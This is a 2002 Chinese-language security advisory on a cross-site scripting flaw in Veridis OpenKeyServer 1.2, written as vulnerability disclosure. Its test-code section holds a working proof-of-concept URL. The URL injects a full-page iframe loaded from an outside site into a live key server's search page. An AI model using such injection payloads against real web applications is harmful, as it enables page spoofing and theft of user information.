Veridis OpenKeyServer存在跨站脚本可执行漏洞发布时间：2002-03-30 更新时间：2002-03-30 严重程度：中 威胁程度：用户敏感信息泄露 错误类型：输入验证错误 利用方式：服务器模式 BUGTRAQ ID：4369 受影响系统 Veridis OpenKeyServer 1.2详细描述 Veridis OpenKeyServer是基于PGP加密的公共密钥库，支持WEB接口可以和其他服务器同步，运行在多种系统平台下。 其中部分页面由于对用户提供的数据过滤不够充分，可导致跨站脚本可执行漏洞。 测试代码 http://search.keyserver.net:11371/pks/lookup?template=netensearch%2Cnetennom atch%2Cnetenerror&search=<iframe%20style="position:absolute;left:0;top:0"%20 %20frameborder=0%20scrolling=0%20noresize%20%20width=800%20height=900%20src= http://www.securiteam.com/openkeyservertemp/></iframe>&op=index 解决方案 尚无 相关信息 SecurITeam Experts <experts@securiteam.com>. 参考：http://www.securiteam.com/securitynews/5BP0R1P6KE.html 相关主页：http://www.openkeyserver.org/ |
